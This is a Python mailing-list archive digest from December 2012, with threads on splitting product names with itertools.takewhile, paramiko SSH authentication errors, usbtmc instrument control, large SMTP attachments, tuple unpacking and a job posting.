doctor.com Tue Dec 4 13:10:42 2012 From: who at doctor.com (Theta Sigma) Date: Tue, 4 Dec 2012 10:10:42 -0800 (PST) Subject: paramiko.BadAuthenticationType Message-ID: <80aafa01-fc6c-4569-ba6f-2ba80b2b53b8@jj5g2000pbc.googlegroups.com> Hi, I'm trying to create a SSH connection with the paramiko module, and I'm running to this error... >> import os, paramiko >> ssh = paramiko.SSHClient() >> ssh.load_system_host_keys() >> ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) >> ssh.connect('...',username='...',password='...') Traceback (most recent call last): File "", line 1 in File "build\bdist.win-amd64\egg\paramiko\client,py", line 338, in connect File "build\bdist.win-amd64\egg\paramiko\client.py", line 519, in _auth paramiko.BadAuthenticationType: Bad authentication type (allowed_types=['publickey'] >> No handlers could be found for logger "paramiko.transport" What am I doing wrong? I'm running Python 2.7 on Windows 7, with paramiko-1.7.7.1 From neilc at norwich.edu Tue Dec 4 13:26:07 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 4 Dec 2012 18:26:07 GMT Subject: Good use for itertools.dropwhile and itertools.takewhile References: Message-ID: On 2012-12-04, Nick Mellor wrote: > I love the way you guys can write a line of code that does the > same as 20 of mine :) > > I can turn up the heat on your regex by feeding it a null > description or multiple white space (both in the original > file.) I'm sure you'd adjust, but at the cost of a more complex > regex. A re.split should be able to handle this without too much hassle. The simplicity of my two-line version will evaporate pretty quickly to compensate for edge cases. Here's one that can handle one of the edge cases you mention, but it's hardly any shorter than what you had, and it doesn't preserve non-standard whites space, like double spaces. def prod_desc(s): """split s into product name and product description. Product name is a series of one or more capitalized words followed by white space. Everything after the trailing white space is the product description. >>> prod_desc("CAR FIFTY TWO Chrysler LeBaron.") ['CAR FIFTY TWO', 'Chrysler LeBaron.'] """ prod = [] desc = [] target = prod for word in s.split(): if target is prod and not word.isupper(): target = desc target.append(word) return [' '.join(prod), ' '.join(desc)] When str methods fail I'll usually write my own parser before turning to re. The following is no longer nice looking at all. def prod_desc(s): """split s into product name and product description. Product name is a series of one or more capitalized words followed by white space. Everything after the trailing white space is the product description. >>> prod_desc("CAR FIFTY TWO Chrysler LeBaron.") ['CAR FIFTY TWO', 'Chrysler LeBaron.'] >>> prod_desc("MR. JONESEY Saskatchewan's finest") ['MR. JONESEY', "Saskatchewan's finest"] """ i = 0 while not s[i].islower(): i += 1 i -= 1 while not s[i].isspace(): i -= 1 start_desc = i+1 while s[i].isspace(): i -= 1 end_prod = i+1 return [s[:end_prod], s[start_desc:]] -- Neil Cerutti From djc at news.invalid Tue Dec 4 13:28:44 2012 From: djc at news.invalid (DJC) Date: Tue, 04 Dec 2012 18:28:44 +0000 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: <50be3049$0$9517$9b4e6d93@newsspool1.arcor-online.net> References: <50be3049$0$9517$9b4e6d93@newsspool1.arcor-online.net> Message-ID: On 04/12/12 17:18, Alexander Blinne wrote: > Another neat solution with a little help from > > http://stackoverflow.com/questions/1701211/python-return-the-index-of-the-first-element-of-a-list-which-makes-a-passed-fun > >>>> def split_product(p): > .... w = p.split(" ") > .... j = (i for i,v in enumerate(w) if v.upper() != v).next() > .... return " ".join(w[:j]), " ".join(w[j:]) > Python 2.7.3 (default, Sep 26 2012, 21:51:14) [GCC 4.7.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> w1 = "CAPSICUM RED Fresh from Queensland" >>> w1.split() ['CAPSICUM', 'RED', 'Fresh', 'from', 'Queensland'] >>> w = w1.split() >>> (i for i,v in enumerate(w) if v.upper() != v) at 0x18b1910> >>> (i for i,v in enumerate(w) if v.upper() != v).next() 2 Python 3.2.3 (default, Oct 19 2012, 19:53:16) >>> (i for i,v in enumerate(w) if v.upper() != v).next() Traceback (most recent call last): File "", line 1, in AttributeError: 'generator' object has no attribute 'next' From news at blinne.net Tue Dec 4 13:48:06 2012 From: news at blinne.net (Alexander Blinne) Date: Tue, 04 Dec 2012 19:48:06 +0100 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: <50be3049$0$9517$9b4e6d93@newsspool1.arcor-online.net> Message-ID: <50be4566$0$9507$9b4e6d93@newsspool1.arcor-online.net> Am 04.12.2012 19:28, schrieb DJC: >>>> (i for i,v in enumerate(w) if v.upper() != v).next() > Traceback (most recent call last): > File "", line 1, in > AttributeError: 'generator' object has no attribute 'next' Yeah, i saw this problem right after i sent the posting. It now is supposed to read like this >>> def split_product(p): ... w = p.split(" ") ... j = next(i for i,v in enumerate(w) if v.upper() != v) ... return " ".join(w[:j]), " ".join(w[j:]) Greetings From subhabangalore at gmail.com Tue Dec 4 14:04:15 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Tue, 4 Dec 2012 11:04:15 -0800 (PST) Subject: Python Cluster Message-ID: <7de5b6b5-a8fa-471a-b5df-3c03adb21640@googlegroups.com> Dear Group, I am trying to use the cluster module as, >>> from cluster import * >>> data = [12,34,23,32,46,96,13] >>> cl = HierarchicalClustering(data, lambda x,y: abs(x-y)) >>> cl.getlevel(10) [[96], [46], [12, 13, 23, 34, 32]] >>> cl.getlevel(5) [[96], [46], [12, 13], [23], [34, 32]] but now I want to visualize it if any one suggest how may I use visualization(like matplotlib or pyplot etc.) to see the data? Thanking in advance, Regards, Subhabrata. From d at davea.name Tue Dec 4 14:25:13 2012 From: d at davea.name (Dave Angel) Date: Tue, 04 Dec 2012 14:25:13 -0500 Subject: Python Cluster In-Reply-To: <7de5b6b5-a8fa-471a-b5df-3c03adb21640@googlegroups.com> References: <7de5b6b5-a8fa-471a-b5df-3c03adb21640@googlegroups.com> Message-ID: <50BE4E19.1050207@davea.name> On 12/04/2012 02:04 PM, subhabangalore at gmail.com wrote: > Dear Group, > > I am trying to use the cluster module as, >>>> from cluster import * No such module in the stdlib. Start by showing what OS, what Python version, and what external libraries you've installed and are using, and only then can you ask a meaningful question. -- DaveA From ian.g.kelly at gmail.com Tue Dec 4 14:37:38 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Tue, 4 Dec 2012 12:37:38 -0700 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: <50be4566$0$9507$9b4e6d93@newsspool1.arcor-online.net> References: <50be3049$0$9517$9b4e6d93@newsspool1.arcor-online.net> <50be4566$0$9507$9b4e6d93@newsspool1.arcor-online.net> Message-ID: On Tue, Dec 4, 2012 at 11:48 AM, Alexander Blinne wrote: > Am 04.12.2012 19:28, schrieb DJC: > >>>> (i for i,v in enumerate(w) if v.upper() != v).next() > > Traceback (most recent call last): > > File "", line 1, in > > AttributeError: 'generator' object has no attribute 'next' > > Yeah, i saw this problem right after i sent the posting. It now is > supposed to read like this > > >>> def split_product(p): > ... w = p.split(" ") > ... j = next(i for i,v in enumerate(w) if v.upper() != v) > ... return " ".join(w[:j]), " ".join(w[j:]) > It still fails if the product description is empty. >>> split_product("CAPSICUM RED") Traceback (most recent call last): File "", line 1, in File "", line 3, in split_product StopIteration I'm not meaning to pick on you; some of the other solutions in this thread also fail in that case. >>> re.findall(r"(?m)^([A-Z\s]+) (.+)$", "CAPSICUM RED") [('CAPSICUM', 'RED')] >>> prod_desc("CAPSICUM RED") # the second version from Neil's post Traceback (most recent call last): File "", line 1, in File "", line 14, in prod_desc IndexError: string index out of range -------------- next part -------------- An HTML attachment was scrubbed... URL: From tjreedy at udel.edu Tue Dec 4 14:55:16 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 04 Dec 2012 14:55:16 -0500 Subject: [newbie] problem with usbtmc-communication In-Reply-To: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> Message-ID: On 12/4/2012 7:14 AM, Jean Dubois wrote: > The following test program which tries to communicate with a Keithley > 2200 programmable power supply using usbtmc in Python does not work as > expected. I have connected a 10 ohm resistor to its terminals and I > apply 0.025A, 0.050A, 0.075A en 0.1A, > I then measure the current and the voltage en write them in a file > De data produced looks like this: > 0.00544643 0.254061; first current value is wrong, voltage value is > correct > 0.0250807 0.509289; second current value is wrong, but it corresponds > to the first, second voltage is correct > 0.0501099 0.763945; 3rd current value is wrong, but it corresponds to > the second, 3rd voltage is right > 0.075099 1.01792; 4th current value is wrong, it corresponds to the > 3rd, 4th voltage is right > 4th correct current value is missing > > But is should be (numerical inaccuracy taking into account) (these data > were produced by a similar octave-program): > 0.0248947 0.254047 > 0.0499105 0.509258 > 0.0749044 0.764001 > 0.0998926 1.01828 > > Here is the python-program: > #!/usr/bin/python > import time > import os > import sys > measurementcurr='' > measurementvolt='' > timesleepdefault=1 > filename ='mydata.txt' > usbkeith = open('/dev/usbtmc1','r+') > usbkeith.flush() > usbkeith.write("*IDN?\n") > #strip blank line: > identification=usbkeith.readline().strip() > print 'Found device: ',identification > usbkeith.write("SYST:REM" + "\n") > usbkeith.write(":SENS:VOLT:PROT 1.5\n") > keithdata = open(filename,'w') > #start first measurement > usbkeith.write(":SOUR:CURR 0.025\n") > usbkeith.write(":OUTP:STAT ON\n") > time.sleep(timesleepdefault) > usbkeith.write(":MEAS:CURR?\n") > time.sleep(timesleepdefault) > measurementcurr=usbkeith.readline() > print 'Measured current 1: ',measurementcurr > usbkeith.write("MEAS:VOLT?\n") > time.sleep(timesleepdefault) > measurementvolt=usbkeith.readline() > print 'Measured voltage 1: ',measurementvolt > keithdata.write(measurementcurr.strip()+' '+measurementvolt) [3 near repetitions snipped] This sort of repetitious code without even line breaks is painful for me to read. Python has looping statements for a reason. Replace all four nearly identical blocks with the following. (If you are not familiar with built-in enumerate, you should be. Read its entry in the library manual.) for number, current_in in enumerate( ('0.025', '0.050'. '0.075', '0.100'), 1) usbkeith.write(":SOUR:CURR %s\n" % current_in) ... print 'Measured current %d: ' % number, measurementcurr ... print 'Measured voltage %d: ' % number, measurementvolt Now you can make changes in only one place and easily add more test values. > print "Goodbye, data logged in file:" > print filename > usbkeith.close() > keithdata.close() > > can anyone here what is going wrong and how to get it right? No, but if both the python and octave programs used loops, it would be easier to see if both are doing the same things before, within, and after the loop. -- Terry Jan Reedy From Whitney at selectgroup.com Tue Dec 4 15:16:08 2012 From: Whitney at selectgroup.com (Whitney Holman) Date: Tue, 4 Dec 2012 20:16:08 +0000 Subject: The Select Group- Raleigh, NC Message-ID: <83D3DE35596347439D30522D7E54B5818C27B6@BY2PRD0711MB429.namprd07.prod.outlook.com> PYTHON DEVELOPER NEEDED - EXCITING OPPORTUNITY IN MORRISVILLE, NC The Select Group is seeking a Python software engineer for fun, energetic, and growing company in Morrisville, NC. The ideal candidate will have hands-on development experience, and must have working knowledge of Python. A very casual, but fast-paced environment, the company promotes internal growth for people with a willingness to learn and a passion for software development. RESPONSIBILITIES * New Product Development, and Existing Product Support * In Charge of Multiple Internal & External Websites REQUIREMENTS * 1-3 years of development experience * Python experience PLUSES * Experience with C++, Java, or Perl * Hands on work with SQL, PHP, and Linux * Previously worked with a Content Management System: WordPress, Joomla, or Drupal Whitney Holman Technical Recruiter THE SELECT GROUP Direct: 919.459.1040 | Cell: 704.264.6273 Whitney at selectgroup.com | LinkedIn 5420 Wade Park Blvd. Ste 100 | Raleigh, NC 27607 Web Site| Corporate Video | Awards | Career Resources At The Select Group we're dedicated to delivering the best experience for our candidates and clients. We appreciate any and all feedback. Please contact my manager, Byron Dunn at Byron at selectgroup.com. "Connecting great companies with quality talent."...see how at The Select Group Advantage -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: image001.png Type: image/png Size: 167 bytes Desc: image001.png URL: From python at mrabarnett.plus.com Tue Dec 4 15:17:19 2012 From: python at mrabarnett.plus.com (MRAB) Date: Tue, 04 Dec 2012 20:17:19 +0000 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: <50be3049$0$9517$9b4e6d93@newsspool1.arcor-online.net> <50be4566$0$9507$9b4e6d93@newsspool1.arcor-online.net> Message-ID: <50BE5A4F.1070108@mrabarnett.plus.com> On 2012-12-04 19:37, Ian Kelly wrote: > On Tue, Dec 4, 2012 at 11:48 AM, Alexander Blinne > wrote: > > Am 04.12.2012 19:28, schrieb DJC: > >>>> (i for i,v in enumerate(w) if v.upper() != v).next() > > Traceback (most recent call last): > > File "", line 1, in > > AttributeError: 'generator' object has no attribute 'next' > > Yeah, i saw this problem right after i sent the posting. It now is > supposed to read like this > > >>> def split_product(p): > ... w = p.split(" ") > ... j = next(i for i,v in enumerate(w) if v.upper() != v) > ... return " ".join(w[:j]), " ".join(w[j:]) > > > It still fails if the product description is empty. > > >>> split_product("CAPSICUM RED") > Traceback (most recent call last): > File "", line 1, in > File "", line 3, in split_product > StopIteration > > I'm not meaning to pick on you; some of the other solutions in this > thread also fail in that case. > > >>> re.findall(r"(?m)^([A-Z\s]+) (.+)$", "CAPSICUM RED") > [('CAPSICUM', 'RED')] > That's easily fixed: >>> re.findall(r"(?m)^([A-Z\s]+)(?: (.*))?$", "CAPSICUM RED") [('CAPSICUM RED', '')] > >>> prod_desc("CAPSICUM RED") # the second version from Neil's post > Traceback (most recent call last): > File "", line 1, in > File "", line 14, in prod_desc > IndexError: string index out of range > From news at blinne.net Tue Dec 4 15:33:52 2012 From: news at blinne.net (Alexander Blinne) Date: Tue, 04 Dec 2012 21:33:52 +0100 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: <50be3049$0$9517$9b4e6d93@newsspool1.arcor-online.net> <50be4566$0$9507$9b4e6d93@newsspool1.arcor-online.net> Message-ID: <50be5e30$0$9512$9b4e6d93@newsspool1.arcor-online.net> Am 04.12.2012 20:37, schrieb Ian Kelly: > >>> def split_product(p): > ... w = p.split(" ") > ... j = next(i for i,v in enumerate(w) if v.upper() != v) > ... return " ".join(w[:j]), " ".join(w[j:]) > > > It still fails if the product description is empty. That's true... let's see, next() takes a default value in case the iterator is empty and then we could use some special value and test for it. But i think it would be more elegant to just handle the excepten ourselves, so: >>> def split_product(p): ... w = p.split(" ") ... try: ... j = next(i for i,v in enumerate(w) if v.upper() != v) ... except StopIteration: ... return p, '' ... return " ".join(w[:j]), " ".join(w[j:]) > I'm not meaning to pick on you; some of the other solutions in this > thread also fail in that case. It's ok, opening the eye for edge cases is always a good idea :) Greetings From tjreedy at udel.edu Tue Dec 4 15:44:10 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 04 Dec 2012 15:44:10 -0500 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: Message-ID: On 12/4/2012 8:57 AM, Nick Mellor wrote: > I have a file full of things like this: > > "CAPSICUM RED fresh from Queensland" > > Product names (all caps, at start of string) and descriptions (mixed > case, to end of string) all muddled up in the same field. And I need > to split them into two fields. Note that if the text had said: > > "CAPSICUM RED fresh from QLD" > > I would want QLD in the description, not shunted forwards and put in > the product name. So (uncontrived) list comprehensions and regex's > are out. > > I want to split the above into: > > ("CAPSICUM RED", "fresh from QLD") > > Enter dropwhile and takewhile. 6 lines later: > > from itertools import takewhile, dropwhile > def split_product_itertools(s): > words = s.split() > allcaps = lambda word: word == word.upper() > product, description =\ > takewhile(allcaps, words), dropwhile(allcaps, words) > return " ".join(product), " ".join(description) If the original string has no excess whitespace, description is what remains of s after product prefix is omitted. (Py 3 code) from itertools import takewhile def allcaps(word): return word == word.upper() def split_product_itertools(s): product = ' '.join(takewhile(allcaps, s.split())) return product, s[len(product)+1:] print(split_product_itertools("CAPSICUM RED fresh from QLD")) >>> ('CAPSICUM RED', 'fresh from QLD') Without that assumption, the same idea applies to the split list. def split_product_itertools(s): words = s.split() product = list(takewhile(allcaps, words)) return ' '.join(product), ' '.join(words[len(product):]) -- Terry Jan Reedy From rosuav at gmail.com Tue Dec 4 15:54:26 2012 From: rosuav at gmail.com (Chris Angelico) Date: Wed, 5 Dec 2012 07:54:26 +1100 Subject: using smtp sent large file upto 60MB In-Reply-To: <50BE1990.4020009@shopzeus.com> References: <1d8228ff-8f9e-4258-8927-2f964c36d8bf@n5g2000vbk.googlegroups.com> <50BE1990.4020009@shopzeus.com> Message-ID: On Wed, Dec 5, 2012 at 2:41 AM, Laszlo Nagy wrote: > If you still don't want to accept this suggestion, then go ahead! Write a > program, send out 100MB emails, and you will see for yourself that it just > doesn't work. But be aware of a few things. 1) Converting 1MB of binary data into a MIME-packaged email is going to result in about 2MB of text. (It's about 1.5MB for base 64 encoding, which is one of the most common used, plus a bit more for structure around it, and rounding up, call it two meg.) 2) If that 2MB of text is stored as a Python text string, it could potentially consume 4MB or 8MB of memory, unless you're on Python 3.3, in which case it will be only 2MB.. 3) That 2-8MB has to be contiguous. 4) Any manipulation of the resulting string - which will quite probably happen as it's built, as it gets connected to the email, etc, etc, etc - will require even more copies of the string. So all in all, you need a LOT of memory to do your encoding. That's why you're seeing MemoryError - it is simply impossible to attach a huge file to an email without using a fair amount of memory. (It's possible to use that memory a bit at a time, but since emails are generally small, most encoding libraries won't be written to do that. This isn't like movie editing, where it's common to work with files larger than your RAM.) ChrisA From ian.g.kelly at gmail.com Tue Dec 4 16:02:07 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Tue, 4 Dec 2012 14:02:07 -0700 Subject: Python Cluster In-Reply-To: <7de5b6b5-a8fa-471a-b5df-3c03adb21640@googlegroups.com> References: <7de5b6b5-a8fa-471a-b5df-3c03adb21640@googlegroups.com> Message-ID: On Tue, Dec 4, 2012 at 12:04 PM, wrote: > Dear Group, > > I am trying to use the cluster module as, > >>> from cluster import * > >>> data = [12,34,23,32,46,96,13] > >>> cl = HierarchicalClustering(data, lambda x,y: abs(x-y)) > >>> cl.getlevel(10) > [[96], [46], [12, 13, 23, 34, 32]] > >>> cl.getlevel(5) > [[96], [46], [12, 13], [23], [34, 32]] > > but now I want to visualize it if any one suggest how may I use > visualization(like matplotlib or pyplot etc.) to see the data? > You mean like a dendrogram? Scipy has support for that. It uses matplotlib to do the actual plotting. http://docs.scipy.org/doc/scipy/reference/generated/scipy.cluster.hierarchy.dendrogram.html -------------- next part -------------- An HTML attachment was scrubbed... URL: From miki.tebeka at gmail.com Tue Dec 4 16:03:56 2012 From: miki.tebeka at gmail.com (Miki Tebeka) Date: Tue, 4 Dec 2012 13:03:56 -0800 (PST) Subject: Python Cluster In-Reply-To: <7de5b6b5-a8fa-471a-b5df-3c03adb21640@googlegroups.com> References: <7de5b6b5-a8fa-471a-b5df-3c03adb21640@googlegroups.com> Message-ID: On Tuesday, December 4, 2012 11:04:15 AM UTC-8, subhaba... at gmail.com wrote: > >>> cl = HierarchicalClustering(data, lambda x,y: abs(x-y)) > but now I want to visualize it if any one suggest how may I use visualization(like matplotlib or pyplot etc.) to see the data? One option is to use a scatter plot with different color per cluster. See the many examples in http://matplotlib.org/gallery.html. HTH, -- Miki From vlastimil.brom at gmail.com Tue Dec 4 16:08:34 2012 From: vlastimil.brom at gmail.com (Vlastimil Brom) Date: Tue, 4 Dec 2012 22:08:34 +0100 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: Message-ID: 2012/12/4 Nick Mellor : > I love the way you guys can write a line of code that does the same as 20 of mine :) > I can turn up the heat on your regex by feeding it a null description or multiple white space (both in the original file.) I'm sure you'd adjust, but at the cost of a more complex regex. > Meanwhile takewith and dropwith are behaving themselves impeccably but my while loop has fallen over. > > Best, > Nick >> [...] > -- Hi, well, for what is it worth, both cases could be addressed quite easily, with little added complexity - e.g.: make the description part optional, allow multiple whitespace and enforce word boundary after the product name in order to get rid of the trailing whitespace in it: >>> re.findall(r"(?m)^([A-Z\s]+\b)(?:\s+(.*))?$", "CAPSICUM RED fresh from QLD\nCAPSICUM RED fresh from Queensland\nCAPSICUM RED") [('CAPSICUM RED', 'fresh from QLD'), ('CAPSICUM RED', 'fresh from Queensland'), ('CAPSICUM RED', '')] >>> However, it's certainly preferable to use a solution you are more comfortable with, e.g. the itertools one... regards, vbr From steve+comp.lang.python at pearwood.info Tue Dec 4 16:13:01 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 04 Dec 2012 21:13:01 GMT Subject: Good use for itertools.dropwhile and itertools.takewhile References: <50be3049$0$9517$9b4e6d93@newsspool1.arcor-online.net> <50be4566$0$9507$9b4e6d93@newsspool1.arcor-online.net> Message-ID: <50be675c$0$29994$c3e8da3$5496439d@news.astraweb.com> Ian, For the sanity of those of us reading this via Usenet using the Pan newsreader, could you please turn off HTML emailing? It's very distracting. Thanks, Steven On Tue, 04 Dec 2012 12:37:38 -0700, Ian Kelly wrote: [...] >
On Tue, > Dec 4, 2012 at 11:48 AM, Alexander Blinne < href="mailto:news at blinne.net" > target="_blank">news at blinne.net> wrote:
class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc > solid;padding-left:1ex"> > > Am 04.12.2012 19:28, schrieb DJC:
>>>> > (i for i,v in enumerate(w) if v.upper() != v).next()
> Traceback > (most recent call last):
> ? File "<stdin>", line > 1, in <module>
> AttributeError: 'generator' object > has no attribute 'next'

>
Yeah, i saw this problem right after i sent the posting. It now > is
supposed to read like this
>

> >>> def split_product(p):
... ? ? w = p.split(" > ")
... ? ? j = next(i for i,v in enumerate(w) if > v.upper() != v)
... ? ? return " > ".join(w[:j]), " > ".join(w[j:])

It still fails if the > product description is empty.

>>> > split_product("CAPSICUM RED")
> > Traceback (most recent call last):
? File "<stdin>", > line 1, in <module>
? File "<stdin>", line 3, > in split_product
StopIteration

I'm not meaning to pick on > you; some of the other solutions in this thread also fail in that > case.
> >
>>> re.findall(r"(?m)^([A-Z\s]+) (.+)$", > "CAPSICUM RED")
[('CAPSICUM', > 'RED')]

>>> prod_desc("CAPSICUM RED")? > # the second version from Neil's post
> > Traceback (most recent call last):
? File "<stdin>", > line 1, in <module>
? File "<stdin>", line 14, > in prod_desc
IndexError: string index out of range

-- Steven From fetchinson at googlemail.com Tue Dec 4 16:25:18 2012 From: fetchinson at googlemail.com (Daniel Fetchinson) Date: Tue, 4 Dec 2012 22:25:18 +0100 Subject: assign only first few items of a tuple/list Message-ID: Hi folks, I swear I used to know this but can't find it anywhere. Say I have a list x = [ 1,2,3,4,5 ] and only care about the first two items. I'd like to assign the first two items to two variables, something like, a, b, _ = x but the above will not work, of course, but what is the common idiom for this that does? Cheers, Daniel -- Psss, psss, put it down! - http://www.cafepress.com/putitdown From rosuav at gmail.com Tue Dec 4 16:36:41 2012 From: rosuav at gmail.com (Chris Angelico) Date: Wed, 5 Dec 2012 08:36:41 +1100 Subject: assign only first few items of a tuple/list In-Reply-To: References: Message-ID: On Wed, Dec 5, 2012 at 8:25 AM, Daniel Fetchinson wrote: > Hi folks, I swear I used to know this but can't find it anywhere. > Say I have a list x = [ 1,2,3,4,5 ] and only care about the first two items. > I'd like to assign the first two items to two variables, something like, > > a, b, _ = x > > but the above will not work, of course, but what is the common idiom > for this that does? Try this: a, b, *_ = x Assigns 1 to a, 2 to b, and [3,4,5] to _ ChrisA From tjreedy at udel.edu Tue Dec 4 17:18:25 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 04 Dec 2012 17:18:25 -0500 Subject: assign only first few items of a tuple/list In-Reply-To: References: Message-ID: On 12/4/2012 4:36 PM, Chris Angelico wrote: > On Wed, Dec 5, 2012 at 8:25 AM, Daniel Fetchinson > wrote: >> Hi folks, I swear I used to know this but can't find it anywhere. >> Say I have a list x = [ 1,2,3,4,5 ] and only care about the first two items. >> I'd like to assign the first two items to two variables, something like, >> >> a, b, _ = x >> >> but the above will not work, of course, but what is the common idiom >> for this that does? > > Try this: > > a, b, *_ = x > > Assigns 1 to a, 2 to b, and [3,4,5] to _ Or a, b = x[0:2]; depending on whether you do or do not want the remainder as a separate item. -- Terry Jan Reedy From tjreedy at udel.edu Tue Dec 4 17:21:33 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 04 Dec 2012 17:21:33 -0500 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: Message-ID: On 12/4/2012 3:44 PM, Terry Reedy wrote: > If the original string has no excess whitespace, description is what > remains of s after product prefix is omitted. (Py 3 code) > > from itertools import takewhile > def allcaps(word): return word == word.upper() > > def split_product_itertools(s): > product = ' '.join(takewhile(allcaps, s.split())) > return product, s[len(product)+1:] > > print(split_product_itertools("CAPSICUM RED fresh from QLD")) > >>> > ('CAPSICUM RED', 'fresh from QLD') > > Without that assumption, the same idea applies to the split list. > > def split_product_itertools(s): > words = s.split() > product = list(takewhile(allcaps, words)) > return ' '.join(product), ' '.join(words[len(product):]) Because these slice rather than index, either works trivially on an empty description. print(split_product_itertools("CAPSICUM RED")) >>> ('CAPSICUM RED', '') -- Terry Jan Reedy From python.list at tim.thechases.com Tue Dec 4 17:48:24 2012 From: python.list at tim.thechases.com (Tim Chase) Date: Tue, 04 Dec 2012 16:48:24 -0600 Subject: assign only first few items of a tuple/list In-Reply-To: References: Message-ID: <50BE7DB8.7010902@tim.thechases.com> On 12/04/12 15:36, Chris Angelico wrote: > On Wed, Dec 5, 2012 at 8:25 AM, Daniel Fetchinson > wrote: >> Hi folks, I swear I used to know this but can't find it anywhere. >> Say I have a list x = [ 1,2,3,4,5 ] and only care about the first two items. >> I'd like to assign the first two items to two variables, something like, >> >> a, b, _ = x >> >> but the above will not work, of course, but what is the common idiom >> for this that does? > > Try this: > > a, b, *_ = x > > Assigns 1 to a, 2 to b, and [3,4,5] to _ Just to complete the picture, that's a Py3k thing. And it only works with finite iterables (such as lists). In 2.x, you have to use Terry Reedy's slicing suggestion. -tkc From d at davea.name Tue Dec 4 17:50:24 2012 From: d at davea.name (Dave Angel) Date: Tue, 04 Dec 2012 17:50:24 -0500 Subject: assign only first few items of a tuple/list In-Reply-To: References: Message-ID: <50BE7E30.7040708@davea.name> On 12/04/2012 04:36 PM, Chris Angelico wrote: > On Wed, Dec 5, 2012 at 8:25 AM, Daniel Fetchinson > wrote: >> Hi folks, I swear I used to know this but can't find it anywhere. >> Say I have a list x = [ 1,2,3,4,5 ] and only care about the first two items. >> I'd like to assign the first two items to two variables, something like, >> >> a, b, _ = x >> >> but the above will not work, of course, but what is the common idiom >> for this that does? > Try this: > > a, b, *_ = x > > Assigns 1 to a, 2 to b, and [3,4,5] to _ > If you're on Python 3.x. If you're on 2.x, you need to do a slice notation like Terry points out. -- DaveA From moonhkt at gmail.com Tue Dec 4 19:54:32 2012 From: moonhkt at gmail.com (moonhkt) Date: Tue, 4 Dec 2012 16:54:32 -0800 (PST) Subject: using smtp sent large file upto 60MB References: <1d8228ff-8f9e-4258-8927-2f964c36d8bf@n5g2000vbk.googlegroups.com> <50BE1990.4020009@shopzeus.com> Message-ID: <85208793-33f5-4ea7-a20c-98436afe0300@m4g2000yqf.googlegroups.com> On 12?5?, ??4?54?, Chris Angelico wrote: > On Wed, Dec 5, 2012 at 2:41 AM, Laszlo Nagy wrote: > > If you still don't want to accept this suggestion, then go ahead! Write a > > program, send out 100MB emails, and you will see for yourself that it just > > doesn't work. > > But be aware of a few things. > > 1) Converting 1MB of binary data into a MIME-packaged email is going > to result in about 2MB of text. (It's about 1.5MB for base 64 > encoding, which is one of the most common used, plus a bit more for > structure around it, and rounding up, call it two meg.) > > 2) If that 2MB of text is stored as a Python text string, it could > potentially consume 4MB or 8MB of memory, unless you're on Python 3.3, > in which case it will be only 2MB.. > > 3) That 2-8MB has to be contiguous. > > 4) Any manipulation of the resulting string - which will quite > probably happen as it's built, as it gets connected to the email, etc, > etc, etc - will require even more copies of the string. > > So all in all, you need a LOT of memory to do your encoding. That's > why you're seeing MemoryError - it is simply impossible to attach a > huge file to an email without using a fair amount of memory. (It's > possible to use that memory a bit at a time, but since emails are > generally small, most encoding libraries won't be written to do that. > This isn't like movie editing, where it's common to work with files > larger than your RAM.) > > ChrisA Thank for your suggestion. Machine : AIX Python version : 2.6.2 I am prepare change UNIX script to Python. smtp and ftp are my first tasks. But, when using standard unix command mail and uuencode without this issue. Our SMTP can send file more than 60MB. But our notes server can configured 100MB,30MB or 10MB. My notes Mail box can receive 100MB. In UNIX, by below command send smtp mail. uuencode $xfn $xfn | mail -s "$SUBJECT" $NAME moonhkt From thebalancepro at gmail.com Tue Dec 4 20:17:56 2012 From: thebalancepro at gmail.com (Nick Mellor) Date: Tue, 4 Dec 2012 17:17:56 -0800 (PST) Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: Message-ID: <05bca175-2077-4fb8-917e-baee1a43a47d@googlegroups.com> Hi Terry, For my money, and especially in your versions, despite several expert solutions using other features, itertools has it. It seems to me to need less nutting out than the other approaches. It's short, robust, has a minimum of symbols, uses simple expressions and is not overly clever. If we could just get used to using takewhile. takewhile mines for gold at the start of a sequence, dropwhile drops the dross at the start of a sequence. Thanks all for your interest and your help, Best, Nick Terry's implementations: > from itertools import takewhile > > def allcaps(word): return word == word.upper() > > > > def split_product_itertools(s): > > product = ' '.join(takewhile(allcaps, s.split())) > > return product, s[len(product)+1:] > > > > print(split_product_itertools("CAPSICUM RED fresh from QLD")) > > >>> > > ('CAPSICUM RED', 'fresh from QLD') > > > > [if there could be surplus whitespace], the same idea applies to the split list. > > > > def split_product_itertools(s): > > words = s.split() > > product = list(takewhile(allcaps, words)) > > return ' '.join(product), ' '.join(words[len(product):]) > From thebalancepro at gmail.com Tue Dec 4 20:17:56 2012 From: thebalancepro at gmail.com (Nick Mellor) Date: Tue, 4 Dec 2012 17:17:56 -0800 (PST) Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: Message-ID: <05bca175-2077-4fb8-917e-baee1a43a47d@googlegroups.com> Hi Terry, For my money, and especially in your versions, despite several expert solutions using other features, itertools has it. It seems to me to need less nutting out than the other approaches. It's short, 